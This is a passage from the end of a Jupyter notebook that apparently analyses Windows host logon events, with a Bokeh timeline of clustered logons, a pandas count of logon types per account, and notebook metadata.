15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2404\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2405\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2425\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2414\",\"type\":\"YearsTicker\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"LogonType\":[4],\"TimeGenerated\":{\"__ndarray__\":\"ACAcSvyEdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[0],\"y_index\":[0]},\"selected\":{\"id\":\"2397\"},\"selection_policy\":{\"id\":\"2396\"}},\"id\":\"2284\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2397\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2410\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2409\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2406\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2407\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2408\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2413\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2411\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2307\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2412\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"tools\":[{\"id\":\"2287\"},{\"id\":\"2307\"},{\"id\":\"2308\"},{\"id\":\"2309\"},{\"id\":\"2310\"},{\"id\":\"2311\"}]},\"id\":\"2313\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"2309\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"2398\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"overlay\":{\"id\":\"2312\"}},\"id\":\"2308\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"2399\",\"type\":\"Selection\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"2312\",\"type\":\"BoxAnnotation\"}],\"root_ids\":[\"2386\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n const render_items = [{\"docid\":\"99d79a0e-b732-4629-a35e-5175bb608112\",\"root_ids\":[\"2386\"],\"roots\":{\"2386\":\"fb1cc723-465c-4f64-be36-59c570041c2b\"}}];\n root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n }\n if (root.Bokeh !== undefined) {\n embed_document(root);\n } else {\n let attempts = 0;\n const timer = setInterval(function(root) {\n if (root.Bokeh !== undefined) {\n clearInterval(timer);\n embed_document(root);\n } else {\n attempts++;\n if (attempts > 100) {\n clearInterval(timer);\n console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n }\n }\n }, 10, root)\n }\n})(window);", "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "2386" } }, "output_type": "display_data" }, { "data": { "text/html": [ "
Column(
id = '2386', …)
align = 'start',
aspect_ratio = None,
background = None,
children = [Figure(id='2288', ...), Figure(id='2320', ...)],
css_classes = [],
disabled = False,
height = None,
height_policy = 'auto',
js_event_callbacks = {},
js_property_callbacks = {},
margin = (0, 0, 0, 0),
max_height = None,
max_width = None,
min_height = None,
min_width = None,
name = None,
rows = 'auto',
sizing_mode = None,
spacing = 0,
subscribed_events = [],
syncable = True,
tags = [],
visible = True,
width = None,
width_policy = 'auto')
\n", "\n" ], "text/plain": [ "Column(id='2386', ...)" ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "display_timeline(data=clus_logons, group_by=\"Account\",\n", " source_columns=['Account', 'LogonType'],\n", " title='Clustered Host Logons',\n", " legend=\"right\",\n", " yaxis=True)" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
TimeGenerated
AccountLogonType
MSTICAlertsWin1\\MSTICAdmin42
MSTICAlertsWin1\\adm1nistrator31
NT AUTHORITY\\SYSTEM511
\n", "
" ], "text/plain": [ " TimeGenerated\n", "Account LogonType \n", "MSTICAlertsWin1\\MSTICAdmin 4 2\n", "MSTICAlertsWin1\\adm1nistrator 3 1\n", "NT AUTHORITY\\SYSTEM 5 11" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Counts of Logon types by Account\n", "host_logons[['Account', 'LogonType', 'TimeGenerated']].groupby(['Account','LogonType']).count()" ] } ], "metadata": { "celltoolbar": "Tags", "hide_input": false, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, "autoclose": false, "autocomplete": true, "bibliofile": "biblio.bib", "cite_by": "apalike", "current_citInitial": 1, "eqLabelWithNumbers": true, "eqNumInitial": 1, "hotkeys": { "equation": "Ctrl-E", "itemize": "Ctrl-I" }, "labels_anchors": false, "latex_user_defs": false, "report_style_numbering": false, "user_envs_cfg": false }, "toc": { "base_numbering": 1, "nav_menu": { "height": "318.996px", "width": "320.994px" }, "number_sections": false, "sideBar": true, "skip_h1_title": false, "title_cell": "Table of Contents", "title_sidebar": "Contents", "toc_cell": true, "toc_position": { "height": "calc(100% - 180px)", "left": "10px", "top": "150px", "width": "165px" }, "toc_section_display": true, "toc_window_display": true }, "varInspector": { "cols": { "lenName": 16, "lenType": 16, "lenVar": 40 }, "kernels_config": { "python": { "delete_cmd_postfix": "", "delete_cmd_prefix": "del ", "library": "var_list.py", "varRefreshCmd": "print(var_dic_list())" }, "r": { "delete_cmd_postfix": ") ", "delete_cmd_prefix": "rm(", "library": "var_list.r", "varRefreshCmd": "cat(var_dic_list()) " } }, "position": { "height": "406.193px", "left": "1468.4px", "right": "20px", "top": "120px", "width": "456.572px" }, "types_to_exclude": [ "module", "function", "builtin_function_or_method", "instance", "_Feature" ], "window_display": false }, "widgets": { "application/vnd.jupyter.widget-state+json": { "state": {}, "version_major": 2, "version_minor": 0 } } }, "nbformat": 4, "nbformat_minor": 4 }